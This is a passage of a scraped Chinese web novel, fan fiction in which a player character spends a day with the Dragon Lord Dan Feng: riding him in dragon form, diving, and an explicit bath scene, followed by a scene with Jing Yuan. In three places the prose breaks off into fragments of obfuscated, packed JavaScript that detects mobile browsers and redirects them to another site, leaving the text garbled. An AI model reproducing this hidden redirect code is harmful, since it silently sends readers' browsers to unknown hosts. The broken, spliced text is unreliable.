先是一声又一声重叠的呢.喃与乐声,然后是层层叠障的歌谣。 祭坛上的龙尊随乐而舞,动作随性,却自带一种兼具力量与柔和的美。 纷飞的袖摆、如莲花般的衣摆仿若拥有人性,完美奏和乐声。 鹤鸢已然看痴了。 青年本就张大的眼眸又扩了一两分,嘴唇轻启,稍稍泄出一点惊呼后又唯恐惊扰祭坛上的龙尊,紧紧闭上。 但歌谣与手势不过是表象,双眸中放出的光明,血脉中涌动的风暴才是真髓。* 不知从哪一刻开始,祈龙坛周遭的海水开始涌动,如烧开的沸水一般升起云雾,笼罩这一片区域。 鹤鸢的视线完全被丹枫吸引,当他意识到时,那些蓬勃的水汽已在他周身围成一个小小的薄膜。 或许是错觉吧,这些水汽总是若有若无、若即若离地靠近他,在他的眉眼、鼻尖、面颊等地方悄悄溜过,像是依恋,又像是亲昵。 好奇妙的感觉。 在一阵阵乐声中,鹤鸢感觉自己来到了海底。 不需要憋气,也不需要训练,仿佛他生来就属于水,能在水中徜徉。 丹枫的舞姿惊心动魄,仿若一阵阵奔涌不息的浪潮,带着他在水中沉浮。 鹤鸢的心神完全随着他的动作、他的节奏、他的移动到处漂游。 而后,这些声音愈发急促,仿佛预示着什么即将来临。 丹枫跟着乐声加速,手指震动,那些水雾跟着他的指向,凝固成一个近似苍龙形态的生物。 那条龙本该立刻前往鳞渊境的深处、那一片不许人踏足的禁地。 可它仿佛在这短短的时间里生出灵智,竟然朝着相反的方向飞去,奔到鹤鸢身边。 鹤鸢后退一步,后腰被一片液体洇湿。 那是[水龙]在下意识的接住他。 他疑惑地看向丹枫,却发现丹枫维持着刚刚的姿态,似乎在用力将[水龙]归回原位。 是出问题了么? 鹤鸢思忖着,按下想要读档的动作,先伸手去触摸了[水龙]的额顶。 “去完成你的任务好么?” 轻柔温暖、又熟悉的嗓音在水汽中扩散,走遍[水龙]的全身。 [水龙]兴奋地摆尾,溢洒地水珠沾到鹤鸢身上,将衣服打湿大半。 浸湿的布料紧紧贴着肌骨,勾勒柔韧漂亮的身形。 被水汽晕染的乌发自然垂下,贴在皎白的面颊,衬得眼角下的泪痣愈发摄人心魄。 丹枫的动作有一瞬间的松动,但很快回神,摆正姿势。 [水龙]在鹤鸢周身环绕一圈,还用龙头去贴了贴他的颊侧,才看起来不甘愿的被丹枫驱使,飞向鳞渊境。 随着长吟冲天散去,一切也就结束了。 鳞渊境将再续数百年的平静。 丹枫转身回头望去,面上露出震惊的表情。 【你刚刚不是能控制住的吗?怎么还操控龙去——】 【我靠这些人怎么出来的?!】 丹枫回望的地方,鹤鸢站着的石砖,离去的石阶上,不知何时站立着数不清龙角华服的尊者。* [他们]本该只出现在龙吟消散的那一瞬幻象中,不会为人所捕捉瞧见。 [他们]本该似镜中留影般,以微妙的误差一个个舞袖、转身、准备离去。* 可现在不是。 [他们]还留在原地,以鹤鸢为中心,将青年层层叠叠的环绕,围成一个接近半圆的形状。 鹤鸢浑然不觉,只觉得周身的温度低了许多。 大概是水汽逸散的缘故。 他站在这些看不见的人群中,对丹枫露出一个大大的微笑。 “丹枫哥,结束了吗?”鹤鸢无法压抑语气中的兴奋,“我们现在去潜水吗?” [他们]原本只看着鹤鸢,目光温柔而痴迷。 而在这句话后,纷纷露出不一样的表情冷视丹枫。 唯一相似的,大概是眼底的嫉妒。 ……还有[他们]的五官。 那是一张张表情不同,却总在丹枫晨起时与他在镜中相见的脸——那是他的脸,也是[他们]的脸。* 是属于最初的龙尊的脸。* 丹枫眼见着[他们]朝鹤鸢越来越近,即便知晓[他们]无法对青年造成伤害,还是伸出手。 “嗯,先过来。我带你玩个更好玩的先。” [他们]纷纷对丹枫怒目而视,也朝着鹤鸢伸出手。 但鹤鸢完全看不到[他们],只觉得身上冷,不想再在这里吹冷飕飕的海风。 和丹枫之间的距离不远,鹤鸢却大声的回应了一句,张开双手,朝着丹枫跑去。 海风吹起他湿.漉漉的发丝,迎着夕阳,他跑到丹枫面前,一下子扑进龙尊怀中。 那些透明的手没有碰到他的一丝衣摆,只能眼睁睁地看着鹤鸢奔向丹枫。 炙热的、密密麻麻的视线几乎要将丹枫吞没,要在他身上灼烧出一个个不可复原的洞。 可丹枫不在乎。 无尽的虚空终究会出现,将[他们]一个个收回。 [他们]的出现,不过是提醒丹枫—— 他身上的一切,全都来自于【龙尊】的身份与血脉。 他们是一样的。 ——不,是不一样的。 [他们]只能于短暂的梦中见到鹤鸢,而他却能将青年切实的拥抱在怀中。 龙尊的血脉又如何,鹤鸢会唤他“丹枫哥”,而不是龙尊、饮月君。 【你的境遇简直让我嫉妒。】 这些年一代代龙尊传承下来,[它]冷眼看着这些人为了梦中的琐碎片段而发疯、疯狂寻找入梦的办法。 可那不过是当时最普遍的日常。 [它]一直以此为傲,以更高一等的视角去观察这些龙尊,觉得[他们]发疯的行径情有可原,又觉得他们不争气、他们活该。 对持明族无任何贡献,自己的本职工作都做不好,又怎么能得到鸢鸢的垂青。 若只是一往情深的爱,鸢鸢已经有了很多。 纵观[它]这一脉,能拥有机遇的龙尊,哪个不是能名留史册的存在? 千百年来,也只有两任龙尊不一样,不一样到让[它]嫉妒。 丹枫是其中之一。 ‘还有个是谁?’ “丹枫哥,你要带我去哪里玩?” 鹤鸢兴奋的声音自耳边响起。 丹枫被拉回现实,双手抱住青年。 “阿鸢,想去天上飞一圈么?” “我背着你,用原型。” 丹枫的体温是偏冷的,但也比滴落在身上的水珠要暖和一些。 鹤鸢一听,立刻点头应下,生怕丹枫反悔。 妈妈,我要当龙骑士了!我要骑着龙上天了! 一声龙吟响起,刚刚环抱住的躯体骤然收紧,青绿色的龙身在天遨游一圈后,圈住了青年的身子。 也只是用了个龙尾,就能将鹤鸢整个人包裹起来。 随后是像起吊机一样、却动作轻柔缓慢地提起龙尾,将青年安稳地放在身上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159725|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 与丹枫声线相似、却加粗了些的声音响起:“握住我的龙角吧,别掉下去了。” 鹤鸢俯身趴在龙身上,大声问:“掉下去的话,丹枫哥会接住我吗?” 一声闷笑从前面传来,“当然。” “想这样玩一次?” “想!” 鹤鸢兴奋的尾音还未消散,龙身便摆动起来,直冲云霄。 他向下望去,波澜壮阔的波月古海在此刻像是一个微缩景观,只用手掌就能覆盖,能在其中翻云覆雨。 鳞渊境也变成小小的一个,只用一根手指就能推到。 好像在此刻,自己成了这一片天地的主宰。 飞到最高点时,丹枫稍微慢了一些,缓慢地带着鹤鸢观赏天地间的一切。 鹤鸢坐直身体,手指从云层间穿过。 这里已经是罗浮规定的禁飞地带了,也只有白珩会偷偷开着星槎,带他和景元从玉界门那边走,闯入一片满是星空的地带。 鳞渊境与玉界门不一样。 这里最壮观的景观,当属建木。 即便已经来到接近边界的顶端,建木依然保持着它巍峨的姿态。 鹤鸢新奇:“丹枫哥,你有去过建木的最高处吗?” “并未。” 于持明族而言,赐下建木的[丰饶]星神药师的力量来源于陨落的[不朽],同[不朽]的后裔同根同源。 持明族对建木的感情很奇怪,不喜欢、但力量相似,丹枫每次镇压过后,只派遣护卫前去巡查,定期记录建木的生长状况。 “那我们一起去看看?” 鹤鸢总觉得这种景观的最高处会有什么成就蹦出来。 没有也不亏,建木上骑龙合影,也是一份珍贵的记忆。 思及此,鹤鸢拿出了相机。 这是杂货店里的商品,可以内嵌到系统中,他目前还在探索功效。 【★道具·相机(可升星):如你所见,这是一个相机,似乎没有拍照录像以外的用途。】 鹤鸢刚刚拿这个相机拍了丹枫,升星进度条肉眼可见的上涨了一.大截。 点开里头的内置系统,除了拍照录制外,其余全是一堆■■■。 总之,先从拍一下建木开始吧。 按照论坛攻略,杂货店里的可升星道具都会有大用处,曾有人在里面买了个【奇怪的琥珀】,找人拆开后,发现里面是一只从寰宇蝗灾时期留存下来的虫皇遗子。 使用后可以获得一部分[繁育]星神的血脉和能力,能够短暂的将自己分成两个,俗称[分.裂]。 就算只能短暂的维持几小时,那也很有用了! 太好了,玩家终于能有分.身的能力了。 鹤鸢拿到的这个相机,按照游戏中的世界观,可能和[记忆]星神挂钩。 但不管怎么样,它就如描述一样,仅仅只是个相机。 目前论坛上关于星神的信息很少,鹤鸢也不强求,只是试一试、看看自己能不能得到那么一两个星神的瞥视。 现在最重要的事情,当然是和丹枫拍照玩耍! 他抱紧相机,乘着青绿色的苍龙来到建木顶端。 受困于[不朽]的压制,建木的生长被压制,从外形上也更接近苍龙的模样。 顶端的枝条繁多,似是龙尊头顶峥嵘的龙角。 丹枫在其中遨游,像是龙身上长出了枝叶。 鹤鸢调整好角度,一张囊括着他、丹枫、建木的照片留存下来。 朴素的黑色相机上,多了几条金线勾勒成的枝叶。 19.共通线(19) 建木那边留影过后,丹枫背着鹤鸢来到波月古海上空。 倏然间,他歪斜了龙身,将青年甩上高空,几乎逼近洞天的边界。 出于惯性,鹤鸢达到最顶端后,在簌簌风声中开始下坠。 这一刻,天地间的任何一处都成了他的乐园。 骤然被甩上高空时,失重感包裹了全身,耳膜中充斥着风的声音,就连汹涌的波涛声都被压下。 鹤鸢知道丹枫会接住自己,却依然会在此刻冒出一些恐慌的情绪。 他从未体验过这类极限挑战项目,也从未自高空坠落。 于他而言,这是一次新奇又刺.激的体验。 鹤鸢不受控制地发出尖叫,用声音消解心中惊慌的情绪。 他双手打开,仿佛天地是他的巢穴,而他在家中遨游。 眼中只剩下青碧色的龙与白灰色的天,组成他的全世界。 风将他的衣摆吹起,像花瓣包裹花蕊一般将他包裹。 青绿色的龙跟着他一起俯冲,像是牵引绳一样陪伴他身边。 短暂的尖叫过后,时间仿佛停滞。 周围的景色一成不变,只有云层的稀疏变幻在告诉鹤鸢,他正在坠落。 苍茫茫的天空中,只剩下他和丹枫。 鹤鸢伸手,抓住了苍龙的鬓毛。 他不知哪来的力量,竟然翻了个身,以拥抱大海的姿势下降。 欢欣的风裹挟着海中的气息迎面而来,波月古海在欢迎着谁的到来。 好像只要这样来上一次,心里的一切负面情绪都会一扫而空。 似乎理解为什么有些人喜欢做极限运动了。 鹤鸢的心里没什么不好的情绪,但在经历了这样极限运动后,心中畅快了许多。 他伸手,努力环住身边青碧色的龙。 “丹枫哥,我超级喜欢你的!” 游戏中,鹤鸢喜欢的人有很多,但在这一刻,他最最最喜欢他的丹枫哥! 热烈真诚的话语自耳边响起,脑内的声音有一瞬间的卡壳。 随之而来的,是铺天盖地的喜悦与嫉恨的情绪。 【凭什么——】 【为什么是你!】 零碎而恼人的话语充斥脑海,丹枫置若罔闻。 这样的话语,几百年间,他已听了无数次。 苍龙顺着圆润的臂膀移动,缠上青年的躯体。 龙与人,再也不分彼此。 直至逼近海面时,丹枫才再度背起鹤鸢。 天色暗沉下来,为孤零零的海面平添萧瑟。 “还要潜水么?” 鹤鸢回答:“要!” 他身上的兴奋劲还没下来,正是什么都想做的时候。 龙吟过后,丹枫悬浮于水面,手里抱着鹤鸢。 一枚通体碧蓝的珠子浮现在青年面前。 “这是避水珠,吃下后便能下水自如,像在陆地上行走一般。” 鹤鸢一口吞下。 【获得★★道具·避水珠,从此于水中如履平地。】 丹枫哥不愧是龙尊,好东西就是多。 之前来鳞渊境探索时,他还得借助系统商城的道具才能潜水。 嚼着跟珍珠一样的道具,鹤鸢总觉得自己忘了什么事情。 但很快,水下的景色夺去了他的全部心神。 鹤鸢从前没有潜水过,只在波月古海边固执的钓鱼,钓鱼成就拿完后就再也没来过。 传说,波月古海是很久以前、持明族还未在仙舟定居时生活的场所。 他们生活在水中,水中的一切都能用[不朽]龙祖的力量去改变,生活无忧无虑。 只是龙祖陨落后,那些被他们用力量改变的生灵变得凶恶,持明族无力招架,无法在原本的汤海中生存。 后来,他们来了仙舟,就此生活在陆地上。 波月古海只能算是汤海的一小片缩影。 成群结队的鱼群、时不时飘过的水母、偶尔游过来的鲨鱼……从前的持明,就是与这些生物生存在同一片海域。 朝下方望去,还有群聚在一起的巨大珍珠蚌,打开的壳中是一张张玉石凿成的床。 鹤鸢好奇地游过去,触摸这些玉石。 “丹枫哥,你们以前就睡这里么?” 以前的持明族得是多富啊,竟然人手一张白玉床? 丹枫看着这些床,又回想起糟糕的梦境,别扭的移开眼。 “也不是所有持明族都这样睡。” 有相当一部分人睡不惯玉床,自己做了别得。 鹤鸢心理平衡了。 要是持明族每个人都能这样…他真的要羡慕死了。 这不就相当于每个人出生就自带大笔财产吗! 开局只有三千块的玩家很是幽怨。 为什么不能出个持明族线路呢?他也想体验一下睡玉床、珍珠随便玩、拿山珍海味当家常小菜的纸醉金迷的生活! 唉,烦躁的又去填了一遍问卷。 水底的一切对鹤鸢来说都是新鲜的,这是他之前未踏足的领域。 即便之前在泳池练习美人鱼相关的技能,也在水族馆中徜徉过,但这一切都比不上真实而广阔的海域。 鹤鸢近乎着迷地和丹枫在水中游览了许久,直至皎洁的月光照耀海面,海中的光线变暗。 他们的手指一直交叉握紧,从未分离。 偶尔丹枫会化成龙形,带着青年在水中加速,调皮的惊扰鱼群,看着他们挤挤攘攘的游动。 鹤鸢觉得开心极了。 丹枫哥总是这样,总是能让他发自内心的高兴。 月上中天之时,他们回到了海边。 望着波光粼粼的海面,鹤鸢忽然想起—— 今天不回家睡觉的事情,还没跟景元报备。 自从和景元熟悉后,以鹤鸢的人身安全为理由,景元便要求鹤鸢每次外出时报备一下,晚上不回来,也要说一下自己在哪里留宿。 这个习惯一直维持了十几年,几乎覆盖了鹤鸢的人生。 他立刻打开玉兆,给景元发了消息和定位。 那边还没回复他的上一条消息,可能又在加练了吧。 毕竟景元要在这次星天演武上守擂,身上的担子很重。 【鹤鸢:今晚在鳞渊境,丹枫哥这边睡了~】 【鹤鸢:体验一下他家的白玉床,就不回来了。】 【鹤鸢:明天下午神策府见!】 走到丹枫的住所时,下午发的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162971|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息还是未读。 就算知道景元是因为忙碌而无法回复,鹤鸢还是有些闷闷不乐。 理解和心情不好是两码事,不可能因为理解,心中的郁闷就可以消解。 那这世上也没那么多仇怨了。 丹枫敏锐地感知到他的情绪,从身后拥住他。 干燥的浴巾挂在两人身上,吸收着水分,温暖的身体像是海绵一样,吸收着鹤鸢心中的郁结。 “要去试一试浴池么?” 丹枫不问他的心情为何急转直下,只问了这一句。 鹤鸢扯了扯嘴角,随口道:“浴池也是白玉做的?不是白玉的话我不去。” “当然是。”丹枫说,“不仅有白玉的,还有填满珍珠的。” 用珍珠泡澡,好奢侈。 现实生活中的鹤鸢,买个珍珠手串都要攒好久的钱。 但等他攒够钱的时候,已经不想要了。 “填满珍珠的话…用什么清洗呢?” 鹤鸢稍微提起了一点精神。 丹枫的面色变得奇怪。 汤海的梦境中,经常会有持明族人将一车又一车的珍珠倒入看不到边际的浴池中,供人玩乐。 而清洗的责任…就担在了当日负责的持明身上。 他们会用力量卷起水流,舒缓而温和的清洗每一寸肌肤。 然后又用自己的身体将肌肤染上胭脂色。 “周边会有水流出来的。”丹枫顿了顿,“单纯洗漱沐浴的话,并不推荐。” 鹤鸢问:“那可以洗完了去珍珠池玩吗?” 泡澡在家也可以,只是没有浴池那么大。 但,珍珠池,好陌生的词,他是真的没体验过。 “自然。那都是可以随时使用的。” 丹枫似乎从未拒绝过他。 失落的谷底被什么填满,鹤鸢抓住了龙尊环在他腰上的手。 自然而然地话语脱口而出,“丹枫哥要和我一起吗?” 丹枫环住他的手臂都紧了几分。 鹤鸢当然不是因为难过才如此的。 他的情绪来的快、去的也快,早被丹枫所描绘的浴池吸引。 他邀请丹枫,不过是觉得—— 与恋人共浴,是一件再正常不过的事情。 鹤鸢昨晚还和景元一起冲了澡,现在也只是泡澡而已。 但丹枫哥看起来很不好意思,没有主动提出。 今天丹枫哥让他很开心,鹤鸢也想让丹枫哥高兴。 没办法,鹤鸢只能主动开口了。 丹枫垂眸,长长的黑发垂下,一部分陷入鹤鸢凹陷的锁骨处,再往下,陷入衣领之中。 “我洗浴时…可能会有些扰人。” 鹤鸢仰头,额头碰到丹枫的下巴,“我也有点不老实呢…” 一瞬间的静默。 丹枫轻轻呼出一口气,“那我便去准备了。” 鹤鸢意外:“泡澡要自己准备么?” “我不习惯有人侍奉。”丹枫淡淡道。 或者说,他们的课程中已然包含了如何打理自己,而丹枫也确实不喜欢有人进入自己的空间。 “……这样啊。” 鹤鸢想,丹枫哥有点意外的贤惠呢。 20.共通线(20) 踏入浴池之前,鹤鸢先观察了一下四周。 鳞渊境的建筑材料都是石料,墙壁上绘着各种各样的壁画,描绘着持明族一生的进程、以及他们的日常生活。 而在浴室中,则是一幅幅朦胧又怪诞的画作。 所有壁画的中心,都是一名有着黑色长发的少年。 若只是发色的相同,还不足以引起鹤鸢的注意。 可那历经千年万年的颜料还未褪.去,那少年眼眸的色彩、眼下泪痣的位置…都与他一模一样! 鹤鸢又看了好几眼。 浴室中的壁画,描绘的不过是戏水的情景。 画中的少年还是人身,与四周围绕着他、以他为中心的、人身龙尾的持明族完全不同。 他所处的位置不仅是中心,还偏高许多,更像是在俯视着底下的持明族人一般。 而在少年上方,又用大团大团墨色的颜料晕出一条近似龙形的形状,与整体画风中多彩缤纷的海域诡异的融合起来。 唯一可惜的,大概是那些持明族人都背对着观赏者,而那墨发少年也未显露五官,无法让鹤鸢完全确定信息。 世上会有发色与瞳色完全相似的人么? 鹤鸢觉得几率不大。 持明族是已陨落星神[不朽]龙祖的后裔,距现在不知死了多久。 如果真是他…难道他身上还有什么隐藏的力量? 鹤鸢兴致勃勃地把这些壁画看完了。 壁画的主题无非是嬉戏与繁殖,但都以那名少年为中心,带着一丝神圣又不容侵.犯的味道。 这样的壁画很是大胆,放在现在大概要被批评个一两句“淫.乱”,但若是放在当时的时代…这似乎是一件习以为常的事情? 那会儿的持明族还未失去繁衍能力,这种创造生命的行为,也确实称得上神圣。 环绕一圈,又走回阶梯边。 丹枫端着一个托盘,身披一件墨色长袍走来,黑色长发垂下,几乎融为一体。 鹤鸢刚刚也换上了长袍,不过是清爽透亮的蓝色。 据丹枫说,这是鲛纱裁的,库房里还有许多,让他尽管使用。 可鹤鸢看着…这也不是刚刚裁的样子。 难道各个尺码都有吗? 刚刚看完壁画的鹤鸢不确定地推测。 “水温不合适么?” 丹枫自然而然地牵起鹤鸢的手。 鹤鸢压根没碰过,答不上来,如实说:“我还没试,刚刚光看壁画了。” “丹枫哥,这些壁画上的人都是谁啊?” 丹枫摇头,“这一部分的记忆我并未继承。” 【撒谎。】 【你怎么能撒谎!】 鹤鸢不解:“嗯?继承记忆?丹枫哥要继承谁的记忆?” 丹枫牵着他走到浴池边,将托盘放下,试了试水温。 “不是什么重要的事情,先下去吧。再晚,睡眠时间就不够了。” 鹤鸢乖乖跟下去了。 他看着自己和丹枫的穿着,总有种错觉。 他们好像电视剧里的一幕——男女主穿着情侣浴衣,一起下水。 下一步就是互相脱掉,然后拍手。 清透的衣料沾水后,一部分浮在水面,一部分紧紧贴在肌骨,连锁骨处的伶仃都显现出来。 也不知道是不是心里错觉,鹤鸢感觉白玉砌成的浴池确实很舒服,有种说不上的感觉。 他又往下陷了一点,把肩膀也沉入水中。 旁边传来了一声急促的呼吸。 丹枫也在旁边泡着,水只没到他的腰腹处,也没泡多久,但他裸.露出来的脖颈上却一片通红,像是被热得难受一般。 鹤鸢立刻来到他身边,白玉过于光滑,又沾了水,竟是让他不小心扑到了丹枫怀中。 但丹枫反应很快,伸手扶住他,并未真的接触到哪里。 鹤鸢担忧地看着他:“丹枫哥,你不舒服吗?” 丹枫眼神闪躲:“无事。” 【呵呵,龙尊的耐力什么时候这么差了?】 鹤鸢怎么可能相信他没事,立刻鼓起脸,严肃地问他:“到底怎么回事?” “丹枫哥,你再不说的话,我以后就不来找你玩了!” “你也别想找我跟我玩!” 一通半真半假的威胁后,丹枫总算松了口。 “持明沐浴时…喜爱偏低的水温。” 现在的水温对鹤鸢正好,对丹枫就过热了。 鹤鸢立刻懂了。 持明以前生活在海里,海是什么温度,他们适宜的就是什么温度。 “那赶紧调下来啊丹枫哥,你怎么这么傻,跟我泡一个温度。” 丹枫哥,你的恋爱脑真的没救了。 “那你怎么办?我习惯的水温对你来说,是偏凉的。” 丹枫将鹤鸢扶稳站好,保持着还算安全的距离。 鹤鸢眼珠转了转,伸手抱住丹枫。 “那丹枫哥负责给我取暖!” 他说得无比理直气壮:“刚刚丹枫哥不回答我的问题,又欺骗我,这是惩罚!” 这哪里是惩罚,这是贴贴的机会! 鹤鸢开始打算盘。 都怪丹枫哥太好看了…不能怪玩家花心。 只是贴贴而已,不做别的。 丹枫似是无奈一笑,将青年拢入怀中,调低了水温。 甫一贴上,鹤鸢就觉得自己判断失误了。 丹枫哥身上也是凉凉的,根本暖不起来啊! 鹤鸢感觉身上冷飕飕的,推开了丹枫。 “要不…”他犹豫着说,“要不我们分开泡吧,感觉丹枫哥完全暖不起来。” “不过在分开之前,能说一下继承记忆的事情吗?” 丹枫轻描淡写:“每任龙尊在持明卵中会梦到初代龙尊及往后部分龙尊的记忆。” 【只在持明卵中吗???】 短短一句话,超多信息量。 等等?!持明卵中??? 那、那岂不是在各类三观未形成、还没有自主想法的时候,就要接收别人的记忆? 这真的没问题吗? 鹤鸢陷入沉思。 “丹枫哥……”他又抱住了丹枫,“现在还会梦见吗?” 丹枫哑声道:“现在很少了。” 鹤鸢闷闷地应了一声。 怎么他认识的人里面一个个都是标准的美强惨,一边吸引他,一边让他心疼。 虽然只有一点点,但也很珍贵了。 “我现在不想分开,”鹤鸢窝在龙尊怀中,双手双脚缠上,不肯松开,“丹枫哥有没有别得办法能暖一下我?” 感觉现在的丹枫哥脆脆的,要是分开的话,会不会很难过? 思索间,毛绒绒的、带着鳞片的东西缠上了他的脚踝,在他的脚心戳弄。 鹤鸢痒得不行,愈发往丹枫怀里缩。 丹枫似是尴尬地咳嗽几声,“我的龙尾…有些不受控制。” “啊……这就是丹枫哥说得不老实吗?” 鹤鸢好奇地透过乳白色的水面去看,只看到一点点青碧色的倒影。 “丹枫哥不老实的话,那我也要不老实!” 青年露出了小恶魔一般的表情,环住龙尊的脖颈,贴近耳侧,用牙齿去叼住了鲜红色的耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15164230|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坠。 尖耳处传来轻微的拉扯感,耳坠陷入一片温暖濡湿的地带,将触感传递到全身。 丹枫溢出一声闷哼,让鹤鸢更来劲了。 就该是这样! 果然,被应星哥反制的情况只是特例。 鹤鸢松开被他舔的黏成一团的耳坠,将目标换成嘴唇。 秉承着需要“你情我愿”的原则,他先问了句:“丹枫哥,要不要亲一下试试?” “……这么做好像能温暖起来。” 丹枫眸光沉沉地望过来,“想用这种方式温暖的话,只靠亲吻嘴唇是不够的。” 龙尾顺着脚踝往上蔓延,在细白修长的腿间开拓空间。 鹤鸢被他这么看着,感觉全身都要烧起来了。 “那、那要靠哪些?” 丹枫没回答,只是说:“你同意了?” 鹤鸢轻轻点头。 几乎是一瞬间,丹枫本来虚虚扶着他的手掌掐入腰腹,指节扣住腰窝,和如水草般缠绕的龙尾一起,将他禁锢在这一方浴池中。 然后是热烈中带着急切的吻。 丹枫似乎熟悉着他的每一寸敏.感点,舌尖划过上颚,一寸寸碾压过后,吮吸着他的舌肉。 鹤鸢几乎是被密密麻麻地照顾着,上一个点的浪潮还未褪.去,下一个点又将他推向更高处。 不、不对! 这又不对了! 刚刚那个只是扯一下耳坠就脸红的丹枫哥呢! 鹤鸢张开唇.瓣想要说点什么,反而让丹枫推入的愈发深。 他的舌尖与常人似乎有些差别,要格外的长一些、尖一些,几乎能抵到鹤鸢的喉咙。 律液不受控制的溢出,被一点点卷走。单薄的长袍随着动作,彻底散在水面,欲盖弥彰的遮掩着水底的变化。 龙尾已经缠到腰腹了。 被经过缠绕的小腿上,全是星星点点的、被龙鳞擦出的红痕。 丹枫总算放过了他的唇舌,顺着脖颈向下,在颈窝处流连。 鹤鸢磕磕绊绊地说出自己的底线,“丹、丹枫哥!说好——说好只亲的!” 尾巴上的鬓毛在周边轻扫,感觉下一刻就要进来了! 丹枫回答他,安抚他的颤.抖,“我只亲,不会做别的。” 鹤鸢稍稍放心下来。 如果丹枫哥有任何的越界行为,他一定会一脚把人踹出去! 现在还好。 他确实被温暖起来了。 ……也没有什么不适。 青年的双手放松地搭在丹枫的肩膀,随着身体的战栗而摇摆,偶尔滑落下去,又会被捞起来。 这是他第一次探索嘴唇以外的亲吻,也从未想过,原来还能这么做。 原来只是单纯的亲吻全身,也会有如同濒临高峰的感受。 鹤鸢仰起头,双眼涣散地看着精雕细琢的天花板。 手指插.入墨色长发,紧紧压住头皮,像是在邀请对方来采摘一般。 湿润冰冷的口腔在胸膛肆意游走,与灼热的身体对抗。 又咬又舔,像是在吃蛋糕上点缀的奶油与樱桃。 真的、真的有点太舒服了。 丹枫似乎洞悉他身体的每一寸肌肤,所有角度、所有力度、所有……全都精准的卡在他的承受范围、又能满足他不断提高的阈值。 因舒爽而溢出的泪珠滑出眼眶,一路顺着白红交错的肌肤蜿蜒,没入水中。 手腕上的玉兆忽然发出“滴滴”的声音,但又很快淹没在激烈的水声中。 丹枫空出一只手,摘下了鹤鸢手腕上的玉兆。 以水流托举,搁置在远处。 21.共通线(21) “哐当——” 景元手中的阵刀落到地面。 他手中的这柄阵刀名为“石火梦身”,乃是仙舟联盟千年来的第一个短生种百冶应星打造。 “景元,你的心乱了。” 面如寒霜、发若银月的女子用剑指着他的门面。 “若明日还是这副模样,我会考虑向腾骁禀明你的情况,换我去守擂。” 镜流搁下这句话,收剑至身后,目光凌厉地看向景元。 “现在,拿起你的武器。” 身为云骑,不可令武备脱手,形体涣散。* 这是景元拜师后,需要遵守的第一条规则。 但刚刚的那一瞬间,他的注意力散乱,手中的武器也被打掉。 为何呢? 他闭上眼,握紧武器,再一次冲了上去。 答案早已在心中绕了千遍万遍,却从未说出口。 武器碰撞的声音又一次连绵不绝地响起,只是这一次,景元再也没放开武器。 因为他知道放下武器的后果,也知道将答案说出来后,将要面临的结果。 他不愿面临,所以他不放下武器,也不说出口。 不知过了多久,镜流才满意地点头,“这次不错,保持好状态。” 她留下这句话,没再多说什么,离开了房间。 景元紧紧握着手中的阵刀,坐到一旁的长椅上。 搁置在椅子上的玉兆发着红光,提醒他有几条未读消息。 他沉默着打开,迅速浏览完,目光在打开的图片上停留了许久。 酥脆的蛋挞放了好几个小时,已经不复刚刚烤出来时的美味。 错过就是错过,除非他能逆转时间,否则只能尽力补救。 手指在屏幕上滑.动,在看到后面的几条消息时,握紧阵刀的手青筋暴起,被刘海遮住的眼睛晦暗不明。 指腹停顿一会儿后,他回复了消息,尽快将自己清洗干净,匆匆忙忙地往外跑去。 景元下意识的要乘坐星槎回家,再去看看隔壁的鹤鸢是否归家。 坐上报出目的地后,他才意识到—— 鹤鸢今晚不会回来了。 其实并不是第一次不回来。 小时候遇上周末,鹤鸢经常在外面游荡一天,连着夜晚也不回来。 最开始,景元给他发消息让他回来,大晚上在外面不好,但鹤鸢不听。 没办法,景元只好跟着鹤鸢同流合污,两人在上小学的时候把罗浮能探索的地方都探索了个遍,哪条路最近都清清楚楚。 给对方互相报备自己的行踪,是从初中开始。 初中的景元被剑首看中,收为徒弟,从此过上了早出晚归的生活。 他没有时间和精力去陪鹤鸢,只好用这种方法得知对方的行踪。 罗浮的治安一向很好,安全与否只是借口,一个知道鹤鸢行踪的借口,牵着一根随时被单方面剪短的风筝绳才是目的。 是什么时候失控的? 景元想,大概是前几天开始吧。 原本他们按照小时候的约定,以将军和骁卫的身份一起巡猎,是他预想到的最好的结局。 但,景元没想到,鹤鸢稍微开了点情窍。 然后这几天的事情便一发不可收拾。 昨夜还只是晚归,唇.瓣上的咬痕像是对他的挑衅。 今夜已经夜不归宿,不知道晚上会不会生出别得事端。 很多时候,景元希望自己不要看得太透彻、在这场单向的关系中不要太清醒。 但他想要长久的陪伴,或许就不该迈出那一步。 有得必有失。 他回到家门口,先去鹤鸢家中,将存放在冰箱中的蛋挞取出。 就坐在昏暗无光的厨房中,小口小口的吃完,连一点奶油都没放过。 